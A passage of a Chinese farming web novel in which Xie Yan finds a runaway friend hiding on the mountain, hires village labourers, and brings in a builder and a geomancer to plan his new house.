沈念白拿了谷子来,洒在鸡圈里同时不停的唤,打开鸡圈的门,鸭子全都甩着尾巴进了鸡圈,也不吵了,看得谢言竖起了大拇指,“还是你有办法。”
等鸭子全都进去了,沈念白这才关了鸡圈的门,“鸡现在肯定唤不回来的,等会在唤吧,我去山上把猪草割好就回来做饭。”
沈念白说完就又上山了,谢言在家待着没事于是也上山了,也没有走远,就在附近的玉米地里拔草,嫩玉米下个月就可以吃了,明天在给玉米施一次肥吧。
没什么事耽误,干起活还是很快的,没一会儿谢言就拔了两块地了。
“谢言哥,吃饭了。”
“来了。”
谢言应了一声,扔了手里的杂草起身回家了,先去河边洗了个手,在回家。沈念白已经把饭做好了,在河边都能闻到香味,谢言快步回家,第一句话就是问,“鸡唤回来了吗?”
沈念白一边盛饭,一边回道:“还没有,我准备吃了饭在去唤。”
“好,我们一起去。”
心里挂着事,谢言吃饭更快了些,舀了丝瓜鸡蛋汤泡饭三两下就吃完了饭,沈念白见状也默默地加快了吃饭的速度。
吃完了饭,沈念白道:“谢言哥,你背上背篓,不听话的就捉。”
“好。”
谢言背着背篓过来,沈念白已经端着装着谷子的篮子在等他了。
“走吧。”
两人一起上了山,沈念白耐着性子“咯咯咯”“咯咯咯”的唤着,谢言最开始沉默的跟在他后面,后来也跟着“咯咯咯”“咯咯咯”的唤。
少部分的鸡听到声音就从地里出来了,沈念白撒了一把谷子后就一直跟在沈念白身后,然后慢慢的鸡越来越多,越来越多,沈念白担心鸡吃饱了又去地里了,于是一趟一趟的把鸡引回鸡圈里,一直到子时鸡已经回来得差不多了,但为了以防万一,沈念白和谢言一人拿了一根长竹竿,到处去扫,看看还有没有漏网之鸡。
平时这个点早就睡觉了,谢言已经困得眼睛都快睁不开,到处乱扫,突然扫到了一处很高的杂草,扫过去时杂草里发出了“啊”的
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尖叫声。
谢言的瞌睡当时就被吓醒了,沈念白也顿住了,僵硬的转头看向了谢言,两人沉默了一会儿,最后还是谢言鼓起勇气大声喝道:“谁啊,装神弄鬼的干什么?”
一听说鬼,沈念白默默的走到了谢言的身后,伸手轻轻的拉住了他衣服。被依靠的谢言心里升起一股莫大的勇气,他大声喝道:“再不出来我可要打了。”说着就扬起了竹竿,作势要打。
“诶,别打别打。”草丛里的人赶紧说道。
“出来。”谢言喝道。
话音一落,草丛晃动,磨磨蹭蹭了好一会儿才看见个披头散发的出来了,夜黑风高,荒无人烟的山上突然出现这么个东西,饶是谢言胆子大都还是被吓到了,还是一想到沈念白他面上还能稳住。
谢言冷声问道:“你是谁,半夜躲在我家菜地想干什么?”
那人低着头不说话,谢言拿着竹竿指着他,“不说话,肯定是来偷东西的,我把你先打一顿在送到官府去。”
听到谢言的话,那人这才慌了连忙道:“别把我送到官府去。”
一直没有说话沈念白突然不确定的喊了一声,“梦寒?”
谢言听到沈念白的话都惊讶了,面前这个跟野人一样的人是柳梦寒?
“柳梦寒?”
眼见被认出来了,柳梦寒也不装了,这才撩开脸前的乱发,带着哭腔喊了声,“念白。”
沈念白一个箭步走到柳梦寒面前,担忧又急切的问道:“你不是去县城找工了吗?怎么弄成这样了?”
柳梦寒没有回答,而是抱着沈念白哭了起来,沈念白拍着他的后背安抚他,谢言见状默默的放下了竹竿。
柳梦寒哭了好久还不见停,谢言瞌睡实在忍不住,双腿都发软,他忍不住提议道:“有什么事咱们回去在说吧。”
沈念白也符合道:“是啊,梦寒我们回去说吧。”
柳梦寒应了一声,这才依依不舍的放开了沈念白。沈念白道:“走吧。”
“等等。”柳梦寒说完又钻进草丛里,没一会儿拿了两串冰糖葫芦出来,“念白,这是你送我的,我在这里待了一天都没舍得吃,哇呜呜呜。”
柳梦寒说着又大哭了起来,沈念白惊讶道:“你一整天都在这里?”
柳梦寒哭得太厉害了,所以没有回答沈念白,两人携手往家走,谢言跟在后面,沈念白突然回头与他说道:“谢言哥,你看看还有没有漏掉的鸡。”
谢言困得脑子都犯糊涂,这才想起来他们是来抓鸡的,他应了一声,“好。”
沈念白和柳梦寒走远了,留下谢言一个人在山上,谢言捡起竹竿,但实在太困了眼睛都花了,今天中午他午觉也没睡,但又担心鸡把菜糟蹋了,于是半眯着眼睛拿着竹竿到处扫,一边扫还要唤,“咯咯咯咯咯”“咯咯咯咯”
谢言扫着扫着突然脚下不知道被什么绊了一下,人当即就栽倒了地上,谢言倒没觉得痛,因为他在倒地的一瞬间就睡过去了。
44.第 44 章
“谢言哥!”
第二天谢言是被沈念白摇醒的,他睡得模模糊糊的睁开眼睛,就看到沈念白通红的眼眶,当即就清醒了,赶紧问道:“你怎么了?”
沈念白见他醒了长松了一口气,“谢言哥,你吓死我了。”
谢言不明白他在说什么,“啊?”
沈念白这才解释道:“今天早上我起来没看见你,就上山来找你,看到你倒在地上,我喊你也不应,还以为...”
谢言有些不好意思,“哦,昨晚上太困了,就在山上将就了一晚。”
沈念白去扶他,“回家吃早饭吧。”
谢言倒是还没有到需要人扶的地步,自己站了起来,顺便问道:“柳梦寒怎么样了?”
沈念白回道:“昨天晚上哭了一阵,现在没事了。”
谢言问道:“他到底怎么回事啊?”
沈念白回道:“他说本来想去县城去做活,又害怕不敢去,想回来又觉得不好意思,所以就一直在山上藏着。”
谢言听得皱眉,“做活有什么好害怕的?”
沈念白摇头,“不知道,我没有问。”
谢言继续问道:“他到底是什么来头啊?”
沈念白还是摇头,“我没问,他也没说。”
“哦。”谢言应了一声后没有在继续说话了,沈念白顿了一会儿后问道:“谢言哥,那他还能留下来吗?”
谢言看着沈念白,顿了一会儿说道:“你想他留下就留下吧,照规矩七文钱一天。”
沈念白愣了一下,“梦寒说他不要钱。”
谢言道:“干活赚钱天经地义,我们又不是收留他,他有了钱以后在想走心里也有底气。”
沈念白道:“可是他说他以后都不走了。”
谢言道:“以后的事谁说得准,我们也不能让人家平白干活。”
沈念白道:“好,那我等会儿就跟他说。”
谢言点了头,“回去吃饭。”
两人一前一后回了家,柳梦寒正在饭桌上坐着发神,看到谢言回来连忙站了起来,有些局促的喊了声,“谢言哥。”
谢言问道:“好点了?”
柳梦寒不大好意思的点了头,“让谢言哥担心了。”
谢言落了座,见柳梦寒还站着,“坐。”
柳梦寒这才坐了下来,沈念白插了话道:“我已经跟谢言哥说过了,以后你就安心留下来吧。”
柳梦寒欣喜的忙不迭的说道:“谢谢谢言哥。”
谢言看向他说道:“刚才我也跟念白说了,从今天开始你跟其他人一样,一天七文天,月结。”
柳梦寒连忙摆手,“我不要,谢言哥,你们肯收留我我已经很感激了,怎么还能要钱呢。”
谢言伸手阻止了他,“话不能这么说,你留下来又不是不干活,在说了我们本来就要请人,不能厚此薄彼,这件事就这样说定了,你也不要觉得不好意思,这是你劳动换来的,是你该得的。”
柳梦寒还要说什么,但此时许承志带着几个人来了,人多了许承志也没有昨天那般拘谨了,利落的喊了声,“谢老板。”
谢言热情的招呼他们,“吃饭没?”
许承志回道:“我们都吃过了。”
谢言笑道:“那你们可吃得够早的。”毕竟现在天也才刚亮。
许承志干笑着回了一句,“习惯了。”
谢言起了身,许承志介绍道:“谢老板,他们都是小叶子村的人,都是想来干活的。”
谢言一直在看他们,一共有五个人,都长得人高马大的,只是看着略显精瘦,谢言点了头,“都能干重活吧?”
那几人都回道:“能。”
谢言道:“七文钱一天,最开始的七天每天结钱,往后一个月一结,有特殊情况的可以提前支取。”
几人一听一个月一结都有点犹豫了,因为谢言本来也算是小叶子村的人,他的情况大家都是知道的,七文钱一天不算低,但很多人之所以不愿意来就是觉得谢言根本没钱,毕竟一个野狼养大的人哪来的钱。
谢言知道他们在担心什么,于是说道:“你们可以先干着看看,觉得合适在留下,反正前七天是每天结钱的。”
倒不是谢言不想每天结钱,而是之前钟程台给他的都是碎银子,他还得去县城换成铜板,但最近他又没事去县城,所以才想出这么个办法。
许承志他们答应了,“我们相信谢老板。”
谢言道:“你们也别喊谢老板了,我就是个普通农民,喊我名字或者喊声谢大哥就是了。”
喊名字自然不合适,于是许承志他们就喊了声,“谢大哥。”
谢言道:“干活的人我会给你们造个册,晚上按名单拿钱。”
许承志他们点头,谢言道:“这事中午吃完了饭弄。每天中午午时准时吃饭。”
许承志他们还是点头,该说的都说清楚了,许承志问道:“谢大哥,我们要干什么?”
谢言指着荒山说道:“把这三座荒山都开出来。”
许承志他们顺着谢言的手看了过去,郁郁葱葱的山,人站在山脚下仿若蚂蚁,许承志道:“这么大的山,没个一年半载开不出来。”
谢言道:“除了开荒我还打算建房子。”
许承志道:“建房子我们也得行。”
谢言道:“那就更好。”
许承志道:“村里宋家是专门给人建房子的。谢大哥要建房子,可以去请他。”
建房子这么重要的事肯定要请专业的人,谢言道:“今天晚上下了工,我跟你们去小叶子村见见他们。”
许承志道:“谢大哥要确定要请他的话,我可以给你带话,明天就让他过来。”
谢言也不想多跑这一趟,“行,那你帮我把话带到。”
话说完,许承志他们就上山了,柳梦寒见状连忙道:“我..我也去。”
谢言阻止了他,“你去干嘛?”
柳梦寒道:“不是说我也一起吗?”
谢言道:“你有你的活,这么多人的饭也得要人做,你就跟着念白照顾家里吧。”
柳梦寒犹豫的问道:“这会不会太轻松了?”
谢言没有多说,只道:“先干了在说。坐下吃饭。”
“哦。”柳梦寒这才做了下来。
吃过了早饭,谢言
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就背着背篓上山割牛草了,割好牛草喂了牛又去给山上的果树疏果,按理说这个季节才疏果已经太晚了,但谢言想晚了也比不疏好,所以就还是疏了果,桃子都快有半个拳头大了,李子也马上能吃了。
所有的水果里,谢言最寄予厚望的是榴莲,虽然今年还没有挂果,但谢言相信系统不会给他不挂果的苗子,只要能把榴莲种出来,灵秀山肯定能一炮打响名声。
到了午时,谢言没等沈念白喊他就回了家,谢言刚到家许承志他们也都回来了,谢言道:“家里没接水,去河边洗手。”
许承志回道:“刚才我们回来的时候去河边洗过了。”
此时沈念白喊道:“都过来吃饭吧。”
谢言率先走了过去,“吃饭吃饭,忙了一上午也确实饿了。”
虽然有了碗筷,但没有那么多椅子,谢言道:“家里小,简陋椅子也没有多的,能坐的就坐,不能坐的就自己找地方坐。”
“我们都是大老粗,坐地上吃还自在些。”
沈念白和柳梦寒给每个人都盛了饭,他们一看是白米饭都惊讶了,“是白米饭。”
系统的水稻种子非常高产,所以谢言才一亩地,种一季就能产一千斤,但其他人不行,谢言打听过这个时代一亩地大多只能产四五百斤,还要交税,一年到头别说剩下就是吃都不够吃,所以平常还是吃高粱米和黄米的多。
他们都以为这是来迎接他们的第一顿,所以才特意煮的大米饭,几人都有些感动,“谢大哥,你人真好。”
谢言道:“山里没啥吃的,将就着吃吧。”
听到谢言谦虚的话,几人更是感动得说不出话来,也没有人上桌,端起碗就到旁边地上坐下开始刨饭了。
没一个人夹菜,谢言就朝沈念白说道:“给他们端点过去。”
柳梦寒赶紧道:“我来吧。”
由于是第一天,沈念白和柳梦寒确实准备得有点多,足足炒了六个菜,每个菜装了两大盆。
柳梦寒端了一碗炒红薯叶,“几位大哥,吃菜。”
几位工人连忙起身,“别,不用麻烦,我们自己过去夹。”
柳梦寒道:“天气大,煮了不吃也浪费。”
谢言夹了几大筷子菜到碗里,然后端起碗起身,“端来端去的也麻烦,都过来夹菜,不吃完不许走。”
柳梦寒端着菜的手一顿,说道:“快夹吧,待会要被说了。”
几位工人这才夹了菜,一人几筷子就夹没了,他们说:“够了,够吃了。”
柳梦寒道:“都煮了就不怕你们吃,不吃饱下午怎么干活。”
几位工人这才围了过去,谢言吃饭向来很快,没一会就吃完了,将碗放在桌子上,“别浪费,要吃完。”
只有沈念白一个人坐着,见状他也站了起来,“你们坐下吃。”
工人们连连说道:“不用不用,你坐你坐。”
沈念白也学着谢言的样子夹了菜走到屋檐下坐着,柳梦寒也端着碗走了过去,两人挨着坐着吃饭。
谢言看着满地的小竹屋小板凳小桌子,想建房子的心一刻也等不了了,他决定下午就去小叶子村找宋师傅。
45.第 45 章
吃完饭,谢言进去刚拿上纸笔出来要登记今日做工的人,被洗碗回来的柳梦寒看见了,好奇的问道:“谢言哥,你还会写字?”
谢言突然的问了一句,“你会写吗?”
柳梦寒回道:“会啊。”
谢言顺势就将纸笔交给了他,“那这事就交给你了,你负责每日的登记。”
柳梦寒正觉得自己没什么事做,自然乐意接这活,他连忙表态,“谢言哥,我一定会好好做的。”
柳梦寒抱着纸笔低着头高兴的笑,谢言站在他的面前因为把事情交出去了也在笑,不远处的沈念白看着两人相立而笑的场景微微抿了抿唇,但他什么也没有说,只是转身走开了。
谢言催促道:“现在就去登记吧,我等会儿去趟小叶子村。”
柳梦寒问道:“去小叶子村干什么?”
谢言回道:“去见宋师傅。”
柳梦寒一听就知道他是为了建房子的事,也没有耽误,走过去说道:“今日来的人到我这里来登记。”
五个工人一听就围了过来,柳梦寒磨了墨要下笔的时候才又问了谢言,“谢言哥,要登记什么啊?”
谢言心想,这不就跟签劳务合同一样嘛,于是就说道:“姓名,住址。”
“哦。好。”
谢言在旁边坐着休息了一会儿,柳梦寒的动作也很快,没一会儿就写好了,拿过来给谢言看了,“谢言,写好了,你看看。”
谢言拿过来一看,出了许承志,其他的四人分别叫何泽平,徐维松,王海升,张应德。都是小叶子村的人。
五人都在阴凉处歇息,谢言看了过去,高声问道:“你们谁跟宋师傅关系好?”
几人一听宋师傅还不知道在说谁,最后还是许承志想过来,“哦,谢大哥莫非说的是宋明笙宋老汉?”
柳梦寒帮腔道:“就是会建房子那个。”
许承志道:“那就是了。”
几人你看看我,我看看你,最后还是许承志说:“谢大哥,宋老汉很少跟村里人打交道,大家关系都差不多。”
既然这样那谢言直接就与许承志说道:“我今天下去去找他,你带我去一趟。”
许承志应道:“好。”
谢言将姓名册交给了柳梦寒,“把日期写上,每天都要登记。”
柳梦寒道:“好。”
谢言起身与许承志说道:“事不宜迟,现在就走吧。”
许承志也赶紧起身,“好。”
沈念白不知道去哪里去了,谢言没有看到他人,但他也没有喊他,只是与柳梦寒说了一声,“你待会跟念白说一声,我去小叶子村了。”
柳梦寒点了头,谢言又与其他四人说道:“你们中午休息休息,下午接着干就是了。”
其他四人连忙说道:“谢大哥放心,我们不会偷懒的。”
交代完谢言这才与许承志一道去了小叶子村了,路上谢言也从许承志口中听说了宋家很少跟村里人打交道的原因。
宋明笙早些年跟随父亲出远门做活,回来后不久就发现怀了身孕,宋家觉得丢人,就把他赶出了家门,本意是让他死在外面。可偏偏宋明笙会给人建房子,就凭着这一技之长,宋明笙不仅活了下来,还平安的生下了孩子,三胞胎,三个都是哥儿。
村里人看不起宋明笙,更看不起他生下的孩子,但宋明笙浑不在意,但是随着他的孩子越长越大,模样越来越俊俏,宋明笙除了给人做活后几乎闭门不出了。
说着话就到了小叶子村,青山绿水,土房错落的坐落在山间,这个时间地里几乎没有人,只有些鸭子在水里‘嘎嘎’的叫着,期间还夹着几声狗叫。
宋明笙在村里受排挤,他的房子在村子的最边上,不过在谢言看来,整个村子都在山里,根本不存在最边上这种说法,毕竟要从县城算的话,这里离县城的距离都是一样的。
许承志带着谢言来到宋明笙的家,从外面看起来十分的简陋,跟谢言的房子一样是竹屋,不过比谢言的竹屋稍微大点,门口有几排花,谢言对花了解不多,但看这么整齐也知道是特意栽种的。
大门紧闭着,许承志上前敲了门,“宋大叔。”
很快屋里就应了一声,“什么事?”
谢言回道:“宋师傅,我是来谈生意的。”
没一会儿门就开了,门内是一个儒雅的中年男人,他的眉头笼着淡淡愁云,眼眸中流露出不易察觉的哀愁,他颇为谨慎的问道:“谈什么生意?”
谢言回道:“我想建房子,听闻先生手艺甚好,故而前来拜访。”
宋明笙问道:“你是从县城里来的?”
谢言回道:“我是从灵秀山来的。”
宋明笙微微皱眉,“灵秀山?”
显然他还未曾听过这么个地方。
谢言解释道:“就在小叶子旁边的深山中。”
宋明笙眉头皱得更紧了,“你是?”
“谢言。”
宋明笙不确定的问道:“是谢家那个被野狼叼走的孩子吗?”
平常人听到这种揭伤疤的话或许会不高兴,但谢言看得出来宋明笙没有恶意,他点头回道:“是,就是我。”
宋明笙问道:“你要建房子?”
谢言还是点头,“是。”
或许是眼前的谢言跟宋明笙听说的谢言完全不一样,他越发的警惕了起来,他看向了许承志,谢言解释道:“他现在在我的山上做活,我也是听他说你会建房子,所以才来的。”
许承志点头,“是,我们今天才去,谢大哥好大三座山,还跟县城里的老板做生意了,可厉害了。”
谢言得了三座荒山的事小叶子村几乎人人知晓,但宋明笙还是不敢大意,他试探的问道:“听谢老板说话似乎读过书?”
谢言回道:“未曾,只是有些奇遇。”
“哦?”
谢言可不想将自己的老底交出去,于是他打了个哈哈,“此事就说来话长了。”
两人已经在门口站了好一会儿,谢言看出来宋明笙并不是很想接他的生意,他也不是死缠烂打的人,于是就道:“若是宋师傅没有时间的话,那我只有另请他人了。”
谢言说完转身就要走,宋明笙赶紧喊了他,“谢言。”
谢言转身看向他,宋明笙犹豫了一会
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儿,才说道:“有生意上门我自是愿意的,只是最近家中有点事,有些心神不宁,怠慢了还请见谅,请进。”
谢言与许承志进了屋,屋里还是挺大的,谢言粗粗看去屋中分了四间房,布局规规矩矩的。
宋明笙朝里喊了声,“绥安,倒水。”说罢朝谢言和许承志道,“请坐。”
谢言与许承志坐下后,就看见屋内出来了一个男人,唇红齿白,十分漂亮,看起来十七八岁的样子,他手里提着水壶朝谢言走了过来给两人倒水,许承志看得呆住了,谢言只看了一眼就收回了视线,看向了宋明笙。
宋明笙见谢言确实不是登徒子,这才与谢言说道:“不知道谢老板想建多大的房子?”
谢言回道:“想稍微建大一点,一亩地左右,上下两层。”
宋明笙道:“这么的大的房子工期可不短,谢老板找了多少人建房?”
谢言回道:“我准备先找二十个人,不过现在只有五个人。”
宋明笙又问道:“谢老板准备建木方还是石房还是别的?”
谢言回道:“木房,我之前在山上开荒,把木头都准备好了。”
宋明笙道:“木方的工期比石房短些。”随即又问道,“谢老板可有图纸?”
谢言回道:“没有,只是有个大概的想法。”
宋明笙道:“我去现场看看,按你的想法先把图纸给画出来。”
谢言点头,“什么方便去现场呢?”
宋明笙道:“我随时都行,看谢老板的安排。”
谢言道:“我当然是越快越好。”
宋明笙道:“既然如此,那现在就去吧。”
谢言巴不得,“好。”
宋明笙起身,“容我与小儿交代两句。”
谢言点了头,然后与许承志说道:“我们去外边等吧。”谢言也没有看他,说完就往外边走,结果走了两步没听见许承志的动静,回头去看,见他还盯着宋绥安在看,谢言无奈的闭了闭眼睛,然后回身拍了拍他的肩膀,“走啦。”
许承志这才回神,赶紧的“嗯”了一声,跟着谢言出了门。
谢言带着许承志稍微走远了一点,他看向许承志,好奇的问道:“你之前没有见过他们吗?”
许承志想起刚才的失态,感觉十分丢脸,此刻低着头也不敢看谢言,“小的时候见到过,自从他们十岁过后就没见过了。”
谢言更好奇了,“他们不出门啊?”
许承志回道:“出门也带着帷帽,看不清脸。”
谢言在心里想,有时候长得太漂亮也是一种麻烦。
两人在外面等了一会儿,宋明笙才急急的出了门,他客气的说了一句,“久等了。”
谢言也客气道:“不久,外出是要把家里交代好,不然老是挂记。”
宋明笙笑了笑,没有在说话了,宋明笙不是个话多的,谢言感觉到他的戒备也没有说什么,许承志还在为刚才的失态内疚,所以一路上谁也没有说话。
太阳热乎乎的,晒得人汗水不停的淌,树上的蝉不要命的叫着,听的人耳朵全是嗡鸣的回声,也算得上是另一种热闹了。
46.第 46 章
顶着大太阳山来到灵秀山,当宋明笙看到绿绿葱葱的庄稼和小竹屋,牛棚明显的松了一口气,对谢言的态度明显信任了起来。
许承志道:“谢大哥,我上山去了。”
谢言道:“休息一会儿再去吧。”
许承志连忙道:“不用了不用了,在休息天都黑了。”说完就急匆匆上山了。
谢言没有在管他,与宋明笙介绍道:“我打算建在这里,你觉得如何?”
宋明笙顺着他手指的方向看过去,他道:“谢老板,选址这一块我不在行,风水五行恐得另请他人。”
谢言还把这茬忘记了,虽然他的灵魂是个现代人,并不迷信,但是建房子他觉得还是要请人来看看。
于是他问道:“我常年住在深山跟村子的人不熟,不知道要请谁合适?”
宋明笙回道:“别的地方我不清楚,但在村子里,婚丧嫁娶,建房动土都是找张七公。”
谢言道:“那行,明天我就去找他来看看。”
宋明笙道:“谢老板,既然位置朝向没有定下来,那图纸暂时也没办法画了。”
这事是谢言疏忽了,他略感抱歉,“今日辛苦你白跑一趟了。”
宋明笙道:“谢老板客气。”
谢言本来想送客上山干活去,结果一扭头就看到宋明笙欲言又止的看着他,谢言道:“宋师傅有话直说就是。”
宋明笙道:“张七公明日来看过后大体就能定下来了,我就可以干活了,但灵秀山与小叶子村相隔甚远,每天来回太耽误事了,所以我想能否暂住于此。”
这事谢言可就真为难了,“宋师傅,我不是不让你住,你也看见了,我家就是那个小竹屋,我还有两弟弟,我这几天都是睡牛棚的,我就是想留你也没办法。”
本来这话已经算是委婉的拒绝了,但宋明笙却铁了心要留下来,他说:“只要谢老板同意我们留下来,我们可以自己想办法过夜。”
人留在这儿,谢言自觉他还是有责任的,于是他问道:“什么办法?”
宋明笙道:“搭个茅草屋。”
人多的话,搭茅草屋确实要不了多久,谢言想着宋明笙跟他们这种五大三粗的不一样,天天在深山老林里走确实不安全,于是他道:“好,明天我就让他们把茅草屋搭起来。”
宋明笙有些讶异,连忙道:“不用麻烦,我们自己搭就是了。”
谢言不想跟他争辩,“明天再说。你是现在要回去,还是等着许承志他们一块回去?”
宋明笙道:“回去也没什么事,留下来熟悉熟悉。”
谢言也没跟他客气,“那你随便,门没锁,你想休息可以进去休息,我上山去了。”
宋明笙还没有自来熟到这种地步,“我跟你上山去看看吧。”
谢言道:“都行。”
谢言背着背篓上了山,宋明笙就跟在他身后,谢言拔草他也拔草,谢言挑水他还是拔草,谢言割牛草他还是拔草。
宋明笙看起来瘦瘦弱弱的但动作却很快,不到两个时辰一个人就把一片地的草都拔完了。
眼看到了吃完饭的时间,谢言背着割好的牛草从菜里走过时喊了宋明笙,“宋师傅,天不早了,回去吃晚饭吧。”
宋明笙从地里直起腰,应了一声,“好。”汗水从他的额间溢出,他抬手擦去,湿了手背。
两人一前一后的回了家,许承志他们也回来了,饭已经做好了,沈念白招呼着众人,“过来吃饭吧。”
但大家都没有动,都等着谢言,谢言将牛草背到牛棚里,出来看见大家还没开始吃饭,就说:“吃饭啊,都站着干什么。”
大家这才端了碗,但大家都没有坐,只在旁边站着,宋明笙见状还以为是饭不够,便没有上前,谢言喊他,“宋师傅,吃饭啊。”
宋明笙道:“不了,我回去吃。”
谢言都诧异了,“忙活了这么久,别说那些了,快过来吃饭。”说罢又解释道,“之前人少,桌椅板凳都置办得少,只有辛苦站一站了,等过两天我选一颗大树,刨平了做桌子,在做几个椅子就能坐下了。”
宋明笙这才过去吃起了饭,忙了一下午大家都饿了,也顾不上说话只一门心思的吃饭。
吃完了饭,谢言将今日的工钱发给了大家,给宋明笙的时候宋明笙怎么都不要,“谢老板,我今天不算干活,只是来熟悉场地的。”
谢言拗不过他,只能作罢,临走时,谢言与许承志说道:“你回去帮我问问张七公,我这里要建房子,看他明天有没有空来帮我看看。”
许承志也知道这些规矩,点头应道,“好,我回去就去找他说。”
谢言道:“行,天快黑了,大家都回去吧。”
“诶。”大家一起应了声,然后一道走了。
天还没有黑尽,把人送走后谢言又上山了,将今日开荒的杂草烧了,一直到天完全黑尽才回家。
今天晚上谢言还是睡的牛棚,累狠了,有个睡觉的地方能睡觉就行了,所以谢言也没有催沈念白的竹床。
第二天一大早,天刚刚亮谢言就起来了,沈念白和柳梦寒已经在做早饭了,他刚背起背篓准备上山就听见了声音,转过去一看,就看见不远处一行人走了过来,隔得有点远,加上天色不算太亮,走在最前面那个模模糊糊的看着像是许承志。
谢言有些惊讶,这也来得太早了。
对方应该也看见了他,远远的就喊了声,“谢大哥。”
听声音就是许承志,谢言应了声,“诶。”
沈念白和柳梦寒听到声音看了过去,柳梦寒十分诧异的说道:“他们这么早就来了。”
沈念白道:“咱们的动作得快点了。”
人来了,谢言也不好走了,于是将背篓给放了下来,在屋前等着他们。没一会儿一行人就到了,今天来的人可别昨天多多了,除了昨天的老面孔,今日又来了七个做工的。还有宋明笙一家,除了宋明笙其他三个人都带着帷帽,看不到脸,但身形高挑略显精瘦。还有
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一个胡子花白的老头,看起来有六七十岁了,但身体看着还挺硬朗的,应该就是张七公了。
许承志介绍道:“谢大哥,这位就是张七公。”
谢言客气的喊了声,“张七公。”
张七公也客气道:“谢老板。”
谢言道:“七公坐。”
谢言与其他人说道:“早饭还在做,大家先坐一会儿吧。”
人多了,谢言也看不过来了,其中有人伸手掏了掏许承志,许承志实在忽视不了,这才开口道:“谢大哥,今天又来了七个人,都是来做工的。”
谢言道:“行,今天中午的时候记得登记。”
本来还有些忐忑的人听到谢言的话,忙不迭的点头,“谢谢谢老板。”
谢言的心思都在张七公身上,也没有与他们多说,许承志他们见饭还有一会儿也没有闲着,一行人都山上去了。他们一走,原地就只剩下了宋明笙一家,他们也坐不住,就去给沈念白和柳梦寒帮忙去了。
谢言和张七公在门前坐着,谢言问了张七公,“七公,你看我这块地怎么样?”
张七公起身四处看了,点着头说道:“是块藏风聚气的好地。”
闻言谢言松了口气,不用挪地方就行,他在这儿住了五年,还是有感情的。
张七公看向谢言,“谢老板会选地方。”
谢言笑道:“七公说笑了,我要是会选地方也不用请教您老人家了,我就是看这里离小河近,浣洗方便,误打误撞找了块好地。”
张七公回道:“聚宝盆的地势,谢老板将家安在这里,日后不说权势滔天也是富甲一方。”
这话就说得太大了,谢言赶紧道:“借七公吉言,我倒没有那么大宏愿,只想求个衣食无忧就行了。”
张七公看向谢言,“有时候运势来了挡也挡不住啊。”
好话总是好听的,谢言不知不觉就跟张七公聊了许多,直到沈念白喊吃饭才打断了他们的谈话。
吃过了早饭,大家又各自忙活了,谢言陪着张七公选址。张七公从包里拿出罗盘,跟随着罗盘上的指针走来走去。谢言对这些一点也不了解,只能在旁边看着。
大概过了一炷香的时间,张七公停了下来,他与谢言说道:“把宋家那小子叫过来。”
宋家人正在帮沈念白喂兔子的喂兔子,喂鸡的喂鸡,喂猪的喂猪,忙得不可开交,一时间听到谢言喊他们还没有反应过来,最后还是沈念白说:“谢言哥好像在喊你们。”
宋明笙这才从灶前抬起头来,似乎才意识到他们并不是来打下手的,“你们干着,我过去看看。”
谢言等了好一会儿才等到宋明笙急匆匆的过来,颇为歉意的喊了一声,“谢老板。”
谢言朝他说道:“七公喊你。”
宋明笙看着犹豫了一会儿,才喊了声,“七公。”
张七公看着宋明笙叹了口气,但最后还是说道:“你来我跟你说,这房子要怎么建。”
“好。”
47.第 47 章
谢言不懂风水,连听也是左耳朵进右耳朵出,只听着个‘坐北朝南,前有照后有靠,西北方靠阴,东南方宜水’
谢言自己听不懂就去看宋明笙,宋明笙看着是听懂的了,随着张七公说话不停的点头,于是谢言也跟着点头,假装自己也听得懂一般。
张七公说完了布局要点,与谢言说道:“谢老板,十日后开工动土便是大吉。”
这么多年谢言都等了,自然也不差这十天了,他点了头,“好。”
张七公说道:“动土之前要祭拜土地公,此地靠山近水,还要祭拜山神与龙王,准备三个祭桌各备一个猪头,一只老母鸡,酒水糕点若干,敬香祭拜。”
谢言听得头都大了,他觉得他搞不定这事,于是与张七公说道:“七公,我是个粗人,不懂礼数,怕搞错了冲撞了神明,到时还是请你来主持大局。”
张七公回道:“行,贡品是你自己准备还是我替你准备?”
谢言自然是愿意让张七公准备的,他道:“还是麻烦七公把帮我准备周全。”
张七公道:“准备是可,不过我一个人拿不过来。”
谢言道:“让许承志他们帮忙拿过来便是。”
张七公道:“如此甚好。”
事情都说好了,张七公收拾东西要准备回家了,谢言问了,“七公,一共多少钱?”
张七公道:“风水看穴,十文一次。祭品先给五十文吧,多了退少了补。”
谢言从屋里拿了七十文给了张七公,“祭品的事还请七公多多费心。”
张七公看着他多给的钱,也没有多说什么,只是点了头。临走的时候谢言去送他,他说了一句,“宋娃子劳你帮我多多照看。”
谢言不知道他口中的宋娃子是指谁,但他还是答应了下来,“放心吧,七公,在我这里做事不会亏待他们的。”
张七公叹了口气,“我倒不是担心你会亏待他们。哎,都是命啊。”
这话听着可不像好听,谢言虽然一头雾水还是没有问,他对自己的身份很清楚,就是一个没权没势没钱的小老百姓,连他们自己都没有办法解决的事,他肯定也是有心无力的。
送走了张七公,宋明笙就开始画设计图了,昨天两人在山上的时候,谢言已经把他的想法给宋明笙说了,所以宋明笙也没有在来问他,就在屋前的桌子上开始画图。
宋明笙开始画图了,他的三个儿子就在旁边帮忙,他们取下了帷帽,三人有五分相像,但又各有各特点,一眼都能分辨出来谁是谁。
谢言背着背篓上山的时候看到宋家父子围在一起画图,这才想起他们今天要住在这里的事,到现在人都全部上山去了,只有下午的时候喊人先建一个茅草房了。
很快到了中午,这两天为了照顾大家的口味,沈念白炒菜都没有放辣椒,吃着虽然有味但谢言总觉得差点什么,他问道:“山上的辣椒还有吗?”
沈念白回道:“很小还没长大。”
张佳华来把地里的辣椒能吃的全都摘走了,谢言道:“过几天等辣椒长大了,做个麻辣鱼吃。”
沈念白应声,“好。”
旁边的人都不知道辣椒是什么,他们虽然好奇但还是没有问。
吃了午饭,谢言让柳梦寒把今日来干活的姓名登记下来,然后说道:“今天下午暂时就不去开荒,先建一个茅草房。”
这个疑问许承志问了出来,“谢大哥,建茅草房干什么啊?”
谢言如实说道:“宋师傅他们这段时间要暂时住在这里。”
这个回答让许承志有些吃惊,但也没有说什么。
事不宜迟,吃了午饭大家都忙起来了,因为是给宋家人搭茅草屋,宋明笙也不好意思让人家干活自己在家闲着,于是也去帮忙。
没有人午睡,谢言也不好意思去睡,于是也上山蔬果了,天气热了,果子一天一个样,越来越大,李子桃子再过几天就能吃了。
果树多,谢言一下午都在蔬果,重复的活,热辣的太阳晒得人瞌睡都来了,谢言习惯了午睡,此时眼睛都快睁不开了,正想着要不要找一个阴凉处休息一会儿的时候,突然听到一声“谢大哥。”
